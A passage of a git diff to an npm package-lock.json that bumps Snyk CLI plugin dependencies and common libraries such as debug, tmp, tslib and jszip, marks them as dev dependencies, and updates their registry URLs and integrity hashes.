"sha512-i/6DQjL8Xf3be4K/E6Wgpekn5Qasl1usyw++dAA35Ue5orEn65VIxOA+YvNNl9HV3qv70T7CNwjODHZrLwvd1Q==" - } - } - }, "debug": { - "version": "4.1.1", - "resolved": "https://registry.npmjs.org/debug/-/debug-4.1.1.tgz", - "integrity": "sha512-pYAIzeRo8J6KPEaJ0VWOh5Pzkbw/RetuzehGM7QRRX5he4fPHx2rdKMB256ehJCkX+XRQm16eZLqLNS8RSZXZw==", + "version": "4.3.1", + "resolved": "https://registry.npmjs.org/debug/-/debug-4.3.1.tgz", + "integrity": "sha512-doEwdvm4PCeK4K3RQN2ZC2BYUBaxwLARCqZmMjtF8a51J2Rb0xpVloFRnCODwqjpwnAoao4pelN8l3RJdv3gRQ==", + "dev": true, "requires": { - "ms": "^2.1.1" + "ms": "2.1.2" } }, "ms": { "version": "2.1.2", "resolved": "https://registry.npmjs.org/ms/-/ms-2.1.2.tgz", - "integrity": "sha512-sGkPx+VjMtmA6MX27oA4FBFELFCZZ4S4XqeGOXCv68tT+jb3vk/RyaKWP0PTKyWtmLSM0b+adUTEvbs1PEaH2w==" + "integrity": "sha512-sGkPx+VjMtmA6MX27oA4FBFELFCZZ4S4XqeGOXCv68tT+jb3vk/RyaKWP0PTKyWtmLSM0b+adUTEvbs1PEaH2w==", + "dev": true }, "rimraf": { "version": "3.0.2", "resolved": "https://registry.npmjs.org/rimraf/-/rimraf-3.0.2.tgz", "integrity": "sha512-JZkJMZkAGFFPP2YqXZXPbMlMBgsxzE8ILs4lMIX/2o0L9UBw9O/Y3o6wFw/i9YLapcUJWwqbi3kdxIPdC62TIA==", + "dev": true, "requires": { "glob": "^7.1.3" } }, - "semver": { - "version": "6.3.0", - "resolved": "https://registry.npmjs.org/semver/-/semver-6.3.0.tgz", - "integrity": "sha512-b39TBaTSfV6yBrapU89p5fKekE2m/NwnDocOVruQFS1/veMgdzuPcnOM34M6CwxW8jH/lxEa5rBoDeUwu5HHTw==" - }, "tmp": { - "version": "0.2.0", - "resolved": "https://registry.npmjs.org/tmp/-/tmp-0.2.0.tgz", - "integrity": "sha512-spsb5g6EiPmteS5TcOAECU3rltCMDMp4VMU2Sb0+WttN4qGobEkMAd+dkr1cubscN08JGNDX765dPbGImbG7MQ==", + "version": "0.2.1", + "resolved": "https://registry.npmjs.org/tmp/-/tmp-0.2.1.tgz", + "integrity": "sha512-76SUhtfqR2Ijn+xllcI5P1oyannHNHByD80W1q447gU3mp9G9PSpGdWmjUOHRDPiHYacIk66W7ubDTuPF3BEtQ==", + "dev": true, "requires": { "rimraf": "^3.0.0" } @@ -15171,12 +18950,14 @@ } }, "snyk-gradle-plugin": { - "version": "3.5.1", - "resolved": "https://registry.npmjs.org/snyk-gradle-plugin/-/snyk-gradle-plugin-3.5.1.tgz", - "integrity": "sha512-8tZwQCqRbjp1azvc+bBRXSbn2AjbUpFAM6qoSpM/IZpfGl1RaOtz4/JTkGFxj+iBhTFoAkGxEunT66eO0pHZZw==", + "version": "3.14.0", + "resolved": "https://registry.npmjs.org/snyk-gradle-plugin/-/snyk-gradle-plugin-3.14.0.tgz", + "integrity": "sha512-2A8ifM91TyzSx/U2fYvHXbaCRVsEx60hGFQjbSH9Hl9AokxEzMi2qti7wsObs1jUX2m198D1mdXu4k/Y1jWxXg==", + "dev": true, "requires": { - "@snyk/cli-interface": "2.8.0", - "@snyk/dep-graph": "^1.17.0", + "@snyk/cli-interface": "2.11.0", + "@snyk/dep-graph": "^1.28.0", + "@snyk/java-call-graph-builder": "1.20.0", "@types/debug": "^4.1.4", "chalk": "^3.0.0", "debug": "^4.1.1", @@ -15184,49 +18965,12 @@ "tslib": "^2.0.0" }, "dependencies": { - "@snyk/cli-interface": { - "version": "2.8.0", - "resolved": "https://registry.npmjs.org/@snyk/cli-interface/-/cli-interface-2.8.0.tgz", - "integrity": "sha512-St/G39iJG1zQK15L24kcVYM2gmFc/ylBCcBqU2DMZKJKwOPccKLUO6s+dWIUXMccQ+DFS6TuHPvuAKQNi9C4Yg==", - "requires": { - "@snyk/dep-graph": "1.19.0", - "@snyk/graphlib": "2.1.9-patch", - "tslib": "^1.9.3" - }, - "dependencies": { - "@snyk/dep-graph": { - "version": "1.19.0", - "resolved": "https://registry.npmjs.org/@snyk/dep-graph/-/dep-graph-1.19.0.tgz", - "integrity": "sha512-/0phOICMk4hkX2KtZgi+4KNd5G9oYDIlxQDQk+ui2xl4gonPvK6Q5MFzHP7Xet1YY/XoU33ox41i+IO48qZ+zQ==", - "requires": { - "@snyk/graphlib": "2.1.9-patch", - "lodash.isequal": "^4.5.0", - "object-hash": "^2.0.3", - "semver": "^6.0.0", - "source-map-support": "^0.5.19", - "tslib": "^2.0.0" - }, - "dependencies": { - "tslib": { - "version": "2.0.1", - "resolved": "https://registry.npmjs.org/tslib/-/tslib-2.0.1.tgz", - "integrity": "sha512-SgIkNheinmEBgx1IUNirK0TUD4X9yjjBRTqqjggWCU3pUEqIk3/Uwl3yRixYKT6WjQuGiwDv4NomL3wqRCj+CQ==" - } - } - }, - "tslib": { - "version": "1.13.0", - "resolved": "https://registry.npmjs.org/tslib/-/tslib-1.13.0.tgz", - "integrity": "sha512-i/6DQjL8Xf3be4K/E6Wgpekn5Qasl1usyw++dAA35Ue5orEn65VIxOA+YvNNl9HV3qv70T7CNwjODHZrLwvd1Q==" - } - } - }, "ansi-styles": { - "version": "4.2.1", - "resolved": "https://registry.npmjs.org/ansi-styles/-/ansi-styles-4.2.1.tgz", - "integrity": "sha512-9VGjrMsG1vePxcSweQsN20KY/c4zN0h9fLjqAbwbPfahM3t+NL+M9HC8xeXG2I8pX5NoamTGNuomEUFI7fcUjA==", + "version": "4.3.0", + "resolved": "https://registry.npmjs.org/ansi-styles/-/ansi-styles-4.3.0.tgz", + "integrity": "sha512-zbB9rCJAT1rbjiVDb2hqKFHNYLxgtk8NURxZ3IZwD3F6NtxbXZQCnnSi1Lkx+IDohdPlFp222wVALIheZJQSEg==", + "dev": true, "requires": { - "@types/color-name": "^1.1.1", "color-convert": "^2.0.1" } }, @@ -15234,6 +18978,7 @@ "version": "3.0.0", "resolved": "https://registry.npmjs.org/chalk/-/chalk-3.0.0.tgz", "integrity": "sha512-4D3B6Wf41KOYRFdszmDqMCGq5VV/uMAB273JILmO+3jAlh8X4qDtdtgCR3fxtbLEMzSx22QdhnDcJvu2u1fVwg==", + "dev": true, "requires": { "ansi-styles": "^4.1.0", "supports-color": "^7.1.0" @@ -15243,6 +18988,7 @@ "version": "2.0.1", "resolved": "https://registry.npmjs.org/color-convert/-/color-convert-2.0.1.tgz", "integrity": "sha512-RRECPsj7iu/xb5oKYcsFHSppFNnsj/52OVTRKb4zP5onXwVF3zVmmToNcOfGC+CRDpfK/U584fMg38ZHCaElKQ==", + "dev": true, "requires": { "color-name": "~1.1.4" } @@ -15250,43 +18996,44 @@ "color-name": { "version": "1.1.4", "resolved": "https://registry.npmjs.org/color-name/-/color-name-1.1.4.tgz", - "integrity": "sha512-dOy+3AuW3a2wNbZHIuMZpTcgjGuLU/uBL/ubcZF9OXbDo8ff4O8yVp5Bf0efS8uEoYo5q4Fx7dY9OgQGXgAsQA==" - }, - "debug": { - "version": "4.1.1", - "resolved": "https://registry.npmjs.org/debug/-/debug-4.1.1.tgz", - "integrity": "sha512-pYAIzeRo8J6KPEaJ0VWOh5Pzkbw/RetuzehGM7QRRX5he4fPHx2rdKMB256ehJCkX+XRQm16eZLqLNS8RSZXZw==", + "integrity": "sha512-dOy+3AuW3a2wNbZHIuMZpTcgjGuLU/uBL/ubcZF9OXbDo8ff4O8yVp5Bf0efS8uEoYo5q4Fx7dY9OgQGXgAsQA==", + "dev": true + }, + "debug": { + "version": "4.3.1", + "resolved": "https://registry.npmjs.org/debug/-/debug-4.3.1.tgz", + "integrity": "sha512-doEwdvm4PCeK4K3RQN2ZC2BYUBaxwLARCqZmMjtF8a51J2Rb0xpVloFRnCODwqjpwnAoao4pelN8l3RJdv3gRQ==", + "dev": true, "requires": { - "ms": "^2.1.1" + "ms": "2.1.2" } }, "has-flag": { "version": "4.0.0", "resolved": "https://registry.npmjs.org/has-flag/-/has-flag-4.0.0.tgz", - "integrity": "sha512-EykJT/Q1KjTWctppgIAgfSO0tKVuZUjhgMr17kqTumMl6Afv3EISleU7qZUzoXDFTAHTDC4NOoG/ZxU3EvlMPQ==" + "integrity": "sha512-EykJT/Q1KjTWctppgIAgfSO0tKVuZUjhgMr17kqTumMl6Afv3EISleU7qZUzoXDFTAHTDC4NOoG/ZxU3EvlMPQ==", + "dev": true }, "ms": { "version": "2.1.2", "resolved": "https://registry.npmjs.org/ms/-/ms-2.1.2.tgz", - "integrity": "sha512-sGkPx+VjMtmA6MX27oA4FBFELFCZZ4S4XqeGOXCv68tT+jb3vk/RyaKWP0PTKyWtmLSM0b+adUTEvbs1PEaH2w==" + "integrity": "sha512-sGkPx+VjMtmA6MX27oA4FBFELFCZZ4S4XqeGOXCv68tT+jb3vk/RyaKWP0PTKyWtmLSM0b+adUTEvbs1PEaH2w==", + "dev": true }, "rimraf": { "version": "3.0.2", "resolved": "https://registry.npmjs.org/rimraf/-/rimraf-3.0.2.tgz", "integrity": "sha512-JZkJMZkAGFFPP2YqXZXPbMlMBgsxzE8ILs4lMIX/2o0L9UBw9O/Y3o6wFw/i9YLapcUJWwqbi3kdxIPdC62TIA==", + "dev": true, "requires": { "glob": "^7.1.3" } }, - "semver": { - "version": "6.3.0", - "resolved": "https://registry.npmjs.org/semver/-/semver-6.3.0.tgz", - "integrity": "sha512-b39TBaTSfV6yBrapU89p5fKekE2m/NwnDocOVruQFS1/veMgdzuPcnOM34M6CwxW8jH/lxEa5rBoDeUwu5HHTw==" - }, "supports-color": { "version": "7.2.0", "resolved": "https://registry.npmjs.org/supports-color/-/supports-color-7.2.0.tgz", "integrity": "sha512-qpCAvRl9stuOHveKsn7HncJRvv501qIacKzQlO/+Lwxc9+0q2wLyv4Dfvt80/DPn2pqOBsJdDiogXGR9+OvwRw==", + "dev": true, "requires": { "has-flag": "^4.0.0" } @@ -15295,14 +19042,16 @@ "version": "0.2.1", "resolved": "https://registry.npmjs.org/tmp/-/tmp-0.2.1.tgz", "integrity": "sha512-76SUhtfqR2Ijn+xllcI5P1oyannHNHByD80W1q447gU3mp9G9PSpGdWmjUOHRDPiHYacIk66W7ubDTuPF3BEtQ==", + "dev": true, "requires": { "rimraf": "^3.0.0" } }, "tslib": { - "version": "2.0.1", - "resolved": "https://registry.npmjs.org/tslib/-/tslib-2.0.1.tgz", - "integrity": "sha512-SgIkNheinmEBgx1IUNirK0TUD4X9yjjBRTqqjggWCU3pUEqIk3/Uwl3yRixYKT6WjQuGiwDv4NomL3wqRCj+CQ==" + "version": "2.2.0", + "resolved": "https://registry.npmjs.org/tslib/-/tslib-2.2.0.tgz", + "integrity": "sha512-gS9GVHRU+RGn5KQM2rllAlR3dU6m7AcpJKdtH8gFvQiC4Otgk98XnmMU+nZenHt/+VhnBPWwgrJsyrdcw6i23w==", + "dev": true } } }, @@ -15310,23 +19059,26 @@ "version": "3.1.0", "resolved": "https://registry.npmjs.org/snyk-module/-/snyk-module-3.1.0.tgz", "integrity": "sha512-HHuOYEAACpUpkFgU8HT57mmxmonaJ4O3YADoSkVhnhkmJ+AowqZyJOau703dYHNrq2DvQ7qYw81H7yyxS1Nfjw==", + "dev": true, "requires": { "debug": "^4.1.1", "hosted-git-info": "^3.0.4" }, "dependencies": { "debug": { - "version": "4.1.1", - "resolved": "https://registry.npmjs.org/debug/-/debug-4.1.1.tgz", - "integrity": "sha512-pYAIzeRo8J6KPEaJ0VWOh5Pzkbw/RetuzehGM7QRRX5he4fPHx2rdKMB256ehJCkX+XRQm16eZLqLNS8RSZXZw==", + "version": "4.3.1", + "resolved": "https://registry.npmjs.org/debug/-/debug-4.3.1.tgz", + "integrity": "sha512-doEwdvm4PCeK4K3RQN2ZC2BYUBaxwLARCqZmMjtF8a51J2Rb0xpVloFRnCODwqjpwnAoao4pelN8l3RJdv3gRQ==", + "dev": true, "requires": { - "ms": "^2.1.1" + "ms": "2.1.2" } }, "hosted-git-info": { - "version": "3.0.5", - "resolved": "https://registry.npmjs.org/hosted-git-info/-/hosted-git-info-3.0.5.tgz", - "integrity": "sha512-i4dpK6xj9BIpVOTboXIlKG9+8HMKggcrMX7WA24xZtKwX0TPelq/rbaS5rCKeNX8sJXZJGdSxpnEGtta+wismQ==", + "version": "3.0.8", + "resolved": "https://registry.npmjs.org/hosted-git-info/-/hosted-git-info-3.0.8.tgz", + "integrity": "sha512-aXpmwoOhRBrw6X3j0h5RloK4x1OzsxMPyxqIHyNfSe2pypkVTZFpEiRoSipPEPlMrh0HW/XsjkJ5WgnCirpNUw==", + "dev": true, "requires": { "lru-cache": "^6.0.0" } @@ -15335,6 +19087,7 @@ "version": "6.0.0", "resolved": "https://registry.npmjs.org/lru-cache/-/lru-cache-6.0.0.tgz", "integrity": "sha512-Jo6dJ04CmSjuznwJSS3pUeWmd/H0ffTlkXXgwZi+eq1UCmqQwCh+eLsYOYCwY991i2Fah4h1BEMCx4qThGbsiA==", + "dev": true, "requires": { "yallist": "^4.0.0" } @@ -15342,104 +19095,176 @@ "ms": { "version": "2.1.2", "resolved": "https://registry.npmjs.org/ms/-/ms-2.1.2.tgz", - "integrity": "sha512-sGkPx+VjMtmA6MX27oA4FBFELFCZZ4S4XqeGOXCv68tT+jb3vk/RyaKWP0PTKyWtmLSM0b+adUTEvbs1PEaH2w==" + "integrity": "sha512-sGkPx+VjMtmA6MX27oA4FBFELFCZZ4S4XqeGOXCv68tT+jb3vk/RyaKWP0PTKyWtmLSM0b+adUTEvbs1PEaH2w==", + "dev": true }, "yallist": { "version": "4.0.0", "resolved": "https://registry.npmjs.org/yallist/-/yallist-4.0.0.tgz", - "integrity": "sha512-3wdGidZyq5PB084XLES5TpOSRA3wjXAlIWMhum2kRcv/41Sn2emQ0dycQW4uZXLejwKvg6EsvbdlVL+FYEct7A==" + "integrity": "sha512-3wdGidZyq5PB084XLES5TpOSRA3wjXAlIWMhum2kRcv/41Sn2emQ0dycQW4uZXLejwKvg6EsvbdlVL+FYEct7A==", + "dev": true } } }, "snyk-mvn-plugin": { - "version": "2.19.1", - "resolved": "https://registry.npmjs.org/snyk-mvn-plugin/-/snyk-mvn-plugin-2.19.1.tgz", - "integrity": "sha512-VXYJSdhUmOQAyxdsv5frAKbi3UOcHPabWEQxQ9wxhVBEEmx2lP5ajv1a+ntxwWwL7u3jdc+rnCIKHpLlQJ5nyw==", + "version": "2.25.3", + "resolved": "https://registry.npmjs.org/snyk-mvn-plugin/-/snyk-mvn-plugin-2.25.3.tgz", + "integrity": "sha512-JAxOThX51JDbgMMjp3gQDVi07G9VgTYSF06QC7f5LNA0zoXNr743e2rm78RGw5bqE3JRjZxEghiLHPPuvS5DDg==", + "dev": true, "requires": { - "@snyk/cli-interface": "2.8.1", - "@snyk/java-call-graph-builder": "1.13.1", + "@snyk/cli-interface": "2.11.0", + "@snyk/dep-graph": "^1.23.1", + "@snyk/java-call-graph-builder": "1.19.1", "debug": "^4.1.1", + "glob": "^7.1.6", "needle": "^2.5.0", "tmp": "^0.1.0", "tslib": "1.11.1" }, "dependencies": { + "@snyk/java-call-graph-builder": { + "version": "1.19.1", + "resolved": "https://registry.npmjs.org/@snyk/java-call-graph-builder/-/java-call-graph-builder-1.19.1.tgz", + "integrity": "sha512-bxjHef5Qm3pNc+BrFlxMudmSSbOjA395ZqBddc+dvsFHoHeyNbiY56Y1JSGUlTgjRM+PKNPBiCuELTSMaROeZg==", + "dev": true, + "requires": { + "@snyk/graphlib": "2.1.9-patch.3", + "ci-info": "^2.0.0", + "debug": "^4.1.1", + "glob": "^7.1.6", + "jszip": "^3.2.2", + "needle": "^2.3.3", + "progress": "^2.0.3", + "snyk-config": "^4.0.0-rc.2", + "source-map-support": "^0.5.7", + "temp-dir": "^2.0.0", + "tmp": "^0.2.1", + "tslib": "^1.9.3", + "xml-js": "^1.6.11" + }, + "dependencies": { + "tmp": { + "version": "0.2.1", + "resolved": "https://registry.npmjs.org/tmp/-/tmp-0.2.1.tgz", + "integrity": "sha512-76SUhtfqR2Ijn+xllcI5P1oyannHNHByD80W1q447gU3mp9G9PSpGdWmjUOHRDPiHYacIk66W7ubDTuPF3BEtQ==", + "dev": true, + "requires": { + "rimraf": "^3.0.0" + } + } + } + }, "debug": { - "version": "4.1.1", - "resolved": "https://registry.npmjs.org/debug/-/debug-4.1.1.tgz", - "integrity": "sha512-pYAIzeRo8J6KPEaJ0VWOh5Pzkbw/RetuzehGM7QRRX5he4fPHx2rdKMB256ehJCkX+XRQm16eZLqLNS8RSZXZw==", + "version": "4.3.1", + "resolved": "https://registry.npmjs.org/debug/-/debug-4.3.1.tgz", + "integrity": "sha512-doEwdvm4PCeK4K3RQN2ZC2BYUBaxwLARCqZmMjtF8a51J2Rb0xpVloFRnCODwqjpwnAoao4pelN8l3RJdv3gRQ==", + "dev": true, "requires": { - "ms": "^2.1.1" + "ms": "2.1.2" } }, "ms": { "version": "2.1.2", "resolved": "https://registry.npmjs.org/ms/-/ms-2.1.2.tgz", - "integrity": "sha512-sGkPx+VjMtmA6MX27oA4FBFELFCZZ4S4XqeGOXCv68tT+jb3vk/RyaKWP0PTKyWtmLSM0b+adUTEvbs1PEaH2w==" + "integrity": "sha512-sGkPx+VjMtmA6MX27oA4FBFELFCZZ4S4XqeGOXCv68tT+jb3vk/RyaKWP0PTKyWtmLSM0b+adUTEvbs1PEaH2w==", + "dev": true + }, + "rimraf": { + "version": "3.0.2", + "resolved": "https://registry.npmjs.org/rimraf/-/rimraf-3.0.2.tgz", + "integrity": "sha512-JZkJMZkAGFFPP2YqXZXPbMlMBgsxzE8ILs4lMIX/2o0L9UBw9O/Y3o6wFw/i9YLapcUJWwqbi3kdxIPdC62TIA==", + "dev": true, + "requires": { + "glob": "^7.1.3" + } }, "tmp": { "version": "0.1.0", "resolved": "https://registry.npmjs.org/tmp/-/tmp-0.1.0.tgz", "integrity": "sha512-J7Z2K08jbGcdA1kkQpJSqLF6T0tdQqpR2pnSUXsIchbPdTI9v3e85cLW0d6WDhwuAleOV71j2xWs8qMPfK7nKw==", + "dev": true, "requires": { "rimraf": "^2.6.3" + }, + "dependencies": { + "rimraf": { + "version": "2.7.1", + "resolved": "https://registry.npmjs.org/rimraf/-/rimraf-2.7.1.tgz", + "integrity": "sha512-uWjbaKIK3T1OSVptzX7Nl6PvQ3qAGtKEtVRjRuazjfL3Bx5eI409VZSqgND+4UNnmzLVdPj9FqFJNPqBZFve4w==", + "dev": true, + "requires": { + "glob": "^7.1.3" + } + } } }, "tslib": { "version": "1.11.1", "resolved": "https://registry.npmjs.org/tslib/-/tslib-1.11.1.tgz", - "integrity": "sha512-aZW88SY8kQbU7gpV19lN24LtXh/yD4ZZg6qieAJDDg+YBsJcSmLGK9QpnUjAKVG/xefmvJGd1WUmfpT/g6AJGA==" + "integrity": "sha512-aZW88SY8kQbU7gpV19lN24LtXh/yD4ZZg6qieAJDDg+YBsJcSmLGK9QpnUjAKVG/xefmvJGd1WUmfpT/g6AJGA==", + "dev": true } } }, "snyk-nodejs-lockfile-parser": { - "version": "1.26.3", - "resolved": "https://registry.npmjs.org/snyk-nodejs-lockfile-parser/-/snyk-nodejs-lockfile-parser-1.26.3.tgz", - "integrity": "sha512-mBQ6vhnXAeyMxlnl9amjJWpA+/3qqXwM8Sj/P+9uH2TByOFLxdGzMNQFcl3q/H2yUdcs/epVdXJp09A2dK2glA==", + "version": "1.32.0", + "resolved": "https://registry.npmjs.org/snyk-nodejs-lockfile-parser/-/snyk-nodejs-lockfile-parser-1.32.0.tgz", + "integrity": "sha512-FdYa/7NibnJPqBfobyw5jgI1/rd0LpMZf2W4WYYLRc2Hz7LZjKAByPjIX6qoA+lB9SC7yk5HYwWj2n4Fbg/DDw==", + "dev": true, "requires": { - "@snyk/graphlib": "2.1.9-patch", - "@yarnpkg/core": "^2.0.0-rc.29", + "@snyk/graphlib": "2.1.9-patch.3", + "@yarnpkg/core": "^2.4.0", "@yarnpkg/lockfile": "^1.1.0", "event-loop-spinner": "^2.0.0", + "got": "11.4.0", "lodash.clonedeep": "^4.5.0", "lodash.flatmap": "^4.5.0", "lodash.isempty": "^4.4.0", "lodash.set": "^4.3.2", "lodash.topairs": "^4.3.0", "p-map": "2.1.0", - "snyk-config": "^3.0.0", - "source-map-support": "^0.5.7", + "snyk-config": "^4.0.0-rc.2", "tslib": "^1.9.3", - "uuid": "^3.3.2", + "uuid": "^8.3.0", "yaml": "^1.9.2" + }, + "dependencies": { + "uuid": { + "version": "8.3.2", + "resolved": "https://registry.npmjs.org/uuid/-/uuid-8.3.2.tgz", + "integrity": "sha512-+NYs2QeMWy+GWFOEm9xnn6HCDp0l7QBD7ml8zLUmJ+93Q5NF0NocErnwkTkXVFNiX3/fpC6afS8Dhb/gz7R7eg==", + "dev": true + } } }, "snyk-nuget-plugin": { - "version": "1.18.1", - "resolved": "https://registry.npmjs.org/snyk-nuget-plugin/-/snyk-nuget-plugin-1.18.1.tgz", - "integrity": "sha512-Bq+IzbyewxIrUhgdFaDKS5wCNixERC7QBitKsZGM3uCOr9fJM8rr5qg5SS9UIU7eyeKvzuVO/V1yDzjo1cKvUw==", + "version": "1.21.0", + "resolved": "https://registry.npmjs.org/snyk-nuget-plugin/-/snyk-nuget-plugin-1.21.0.tgz", + "integrity": "sha512-c/JYF3sZzMN/lYz171zrEkVcPqDVcUTVgKIKHiL8nhhuFKxZQ1gzqOgk+lnfN31TLoTNQsZ3DhW/WY+4zEALvw==", + "dev": true, "requires": { - "@snyk/lodash": "4.17.15-patch", "debug": "^4.1.1", - "dotnet-deps-parser": "4.10.0", - "jszip": "3.3.0", + "dotnet-deps-parser": "5.0.0", + "jszip": "3.4.0", "snyk-paket-parser": "1.6.0", "tslib": "^1.11.2", "xml2js": "^0.4.17" }, "dependencies": { "debug": { - "version": "4.1.1", - "resolved": "https://registry.npmjs.org/debug/-/debug-4.1.1.tgz", - "integrity": "sha512-pYAIzeRo8J6KPEaJ0VWOh5Pzkbw/RetuzehGM7QRRX5he4fPHx2rdKMB256ehJCkX+XRQm16eZLqLNS8RSZXZw==", + "version": "4.3.1", + "resolved": "https://registry.npmjs.org/debug/-/debug-4.3.1.tgz", + "integrity": "sha512-doEwdvm4PCeK4K3RQN2ZC2BYUBaxwLARCqZmMjtF8a51J2Rb0xpVloFRnCODwqjpwnAoao4pelN8l3RJdv3gRQ==", + "dev": true, "requires": { - "ms": "^2.1.1" + "ms": "2.1.2" } }, "jszip": { - "version": "3.3.0", - "resolved": "https://registry.npmjs.org/jszip/-/jszip-3.3.0.tgz", - "integrity": "sha512-EJ9k766htB1ZWnsV5ZMDkKLgA+201r/ouFF8R2OigVjVdcm2rurcBrrdXaeqBJbqnUVMko512PYmlncBKE1Huw==", + "version": "3.4.0", + "resolved": "https://registry.npmjs.org/jszip/-/jszip-3.4.0.tgz", + "integrity": "sha512-gZAOYuPl4EhPTXT0GjhI3o+ZAz3su6EhLrKUoAivcKqyqC7laS5JEv4XWZND9BgcDcF83vI85yGbDmDR6UhrIg==", + "dev": true, "requires": { "lie": "~3.3.0", "pako": "~1.0.2", @@ -15450,7 +19275,14 @@ "ms": { "version": "2.1.2", "resolved": "https://registry.npmjs.org/ms/-/ms-2.1.2.tgz", - "integrity": "sha512-sGkPx+VjMtmA6MX27oA4FBFELFCZZ4S4XqeGOXCv68tT+jb3vk/RyaKWP0PTKyWtmLSM0b+adUTEvbs1PEaH2w==" + "integrity": "sha512-sGkPx+VjMtmA6MX27oA4FBFELFCZZ4S4XqeGOXCv68tT+jb3vk/RyaKWP0PTKyWtmLSM0b+adUTEvbs1PEaH2w==", + "dev": true + }, + "pako": { + "version": "1.0.11", + "resolved": "https://registry.npmjs.org/pako/-/pako-1.0.11.tgz", + "integrity": "sha512-4hLB8Py4zZce5s4yd9XzopqwVv/yGNhV1Bl8NTmCq1763HeK2+EwVTv+leGeL13Dnh2wfbqowVPXCIO0z4taYw==", + "dev": true } } }, @@ -15458,139 +19290,178 @@ "version": "1.6.0", "resolved": "https://registry.npmjs.org/snyk-paket-parser/-/snyk-paket-parser-1.6.0.tgz", "integrity": "sha512-6htFynjBe/nakclEHUZ1A3j5Eu32/0pNve5Qm4MFn3YQmJgj7UcAO8hdyK3QfzEY29/kAv/rkJQg+SKshn+N9Q==", + "dev": true, "requires": { "tslib": "^1.9.3" } }, "snyk-php-plugin": { - "version": "1.9.0", - "resolved": "https://registry.npmjs.org/snyk-php-plugin/-/snyk-php-plugin-1.9.0.tgz", - "integrity": "sha512-uORrEoC47dw0ITZYu5vKqQtmXnbbQs+ZkWeo5bRHGdf10W8e4rNr1S1R4bReiLrSbSisYhVHeFMkdOAiLIPJVQ==", + "version": "1.9.2", + "resolved": "https://registry.npmjs.org/snyk-php-plugin/-/snyk-php-plugin-1.9.2.tgz", + "integrity": "sha512-IQcdsQBqqXVRY5DatlI7ASy4flbhtU2V7cr4P2rK9rkFnVHO6LHcitwKXVZa9ocdOmpZDzk7U6iwHJkVFcR6OA==", + "dev": true, "requires": { - "@snyk/cli-interface": "2.3.2", - "@snyk/composer-lockfile-parser": "1.4.0", + "@snyk/cli-interface": "^2.9.1", + "@snyk/composer-lockfile-parser": "^1.4.1", "tslib": "1.11.1" }, "dependencies": { - "@snyk/cli-interface": { - "version": "2.3.2", - "resolved": "https://registry.npmjs.org/@snyk/cli-interface/-/cli-interface-2.3.2.tgz", - "integrity": "sha512-jmZyxVHqzYU1GfdnWCGdd68WY/lAzpPVyqalHazPj4tFJehrSfEFc82RMTYAMgXEJuvFRFIwhsvXh3sWUhIQmg==", + "tslib": { + "version": "1.11.1", + "resolved": "https://registry.npmjs.org/tslib/-/tslib-1.11.1.tgz", + "integrity": "sha512-aZW88SY8kQbU7gpV19lN24LtXh/yD4ZZg6qieAJDDg+YBsJcSmLGK9QpnUjAKVG/xefmvJGd1WUmfpT/g6AJGA==", + "dev": true + } + } + }, + "snyk-poetry-lockfile-parser": { + "version": "1.1.6", + "resolved": "https://registry.npmjs.org/snyk-poetry-lockfile-parser/-/snyk-poetry-lockfile-parser-1.1.6.tgz", + "integrity": "sha512-MoekbWOZPj9umfukjk2bd2o3eRj0OyO+58sxq9crMtHmTlze4h0/Uj4+fb0JFPBOtBO3c2zwbA+dvFQmpKoOTA==", + "dev": true, + "requires": { + "@snyk/cli-interface": "^2.9.2", + "@snyk/dep-graph": "^1.23.0", + "debug": "^4.2.0", + "toml": "^3.0.0", + "tslib": "^2.0.0" + }, + "dependencies": { + "debug": { + "version": "4.3.1", + "resolved": "https://registry.npmjs.org/debug/-/debug-4.3.1.tgz", + "integrity": "sha512-doEwdvm4PCeK4K3RQN2ZC2BYUBaxwLARCqZmMjtF8a51J2Rb0xpVloFRnCODwqjpwnAoao4pelN8l3RJdv3gRQ==", + "dev": true, "requires": { - "tslib": "^1.9.3" + "ms": "2.1.2" } }, + "ms": { + "version": "2.1.2", + "resolved": "https://registry.npmjs.org/ms/-/ms-2.1.2.tgz", + "integrity": "sha512-sGkPx+VjMtmA6MX27oA4FBFELFCZZ4S4XqeGOXCv68tT+jb3vk/RyaKWP0PTKyWtmLSM0b+adUTEvbs1PEaH2w==", + "dev": true + }, "tslib": { - "version": "1.11.1", - "resolved": "https://registry.npmjs.org/tslib/-/tslib-1.11.1.tgz", - "integrity": "sha512-aZW88SY8kQbU7gpV19lN24LtXh/yD4ZZg6qieAJDDg+YBsJcSmLGK9QpnUjAKVG/xefmvJGd1WUmfpT/g6AJGA==" + "version": "2.2.0", + "resolved": "https://registry.npmjs.org/tslib/-/tslib-2.2.0.tgz", + "integrity": "sha512-gS9GVHRU+RGn5KQM2rllAlR3dU6m7AcpJKdtH8gFvQiC4Otgk98XnmMU+nZenHt/+VhnBPWwgrJsyrdcw6i23w==", + "dev": true } } }, "snyk-policy": { - "version": "1.14.1", - "resolved": "https://registry.npmjs.org/snyk-policy/-/snyk-policy-1.14.1.tgz", - "integrity": "sha512-C5vSkoBYxPnaqb218sm4m6N5s1BhIXlldpIX5xRNnZ0QkDwVj3dy/PfgwxRgVQh7QFGa1ajbvKmsGmm4RRsN8g==", + "version": "1.19.0", + "resolved": "https://registry.npmjs.org/snyk-policy/-/snyk-policy-1.19.0.tgz", + "integrity": "sha512-XYjhOTRPFA7NfDUsH6uH1fbML2OgSFsqdUPbud7x01urNP9CHXgUgAD4NhKMi3dVQK+7IdYadWt0wrFWw4y+qg==", + "dev": true, "requires": { "debug": "^4.1.1", "email-validator": "^2.0.4", "js-yaml": "^3.13.1", "lodash.clonedeep": "^4.5.0", + "promise-fs": "^2.1.1", "semver": "^6.0.0", - "snyk-module": "^2.0.2", - "snyk-resolve": "^1.0.1", - "snyk-try-require": "^1.3.1", - "then-fs": "^2.0.0" + "snyk-module": "^3.0.0", + "snyk-resolve": "^1.1.0", + "snyk-try-require": "^2.0.0" }, "dependencies": { - "@types/node": { - "version": "6.14.11", - "resolved": "https://registry.npmjs.org/@types/node/-/node-6.14.11.tgz", - "integrity": "sha512-htzPk08CmbGFjgIWaJut1oW2roZAAQxxOhkhsehCVLE7Uocx9wkcHfIQYdBWO7KqbuRvYrdBQtl5h5Mz/GxehA==" - }, "debug": { - "version": "4.1.1", - "resolved": "https://registry.npmjs.org/debug/-/debug-4.1.1.tgz", - "integrity": "sha512-pYAIzeRo8J6KPEaJ0VWOh5Pzkbw/RetuzehGM7QRRX5he4fPHx2rdKMB256ehJCkX+XRQm16eZLqLNS8RSZXZw==", + "version": "4.3.1", + "resolved": 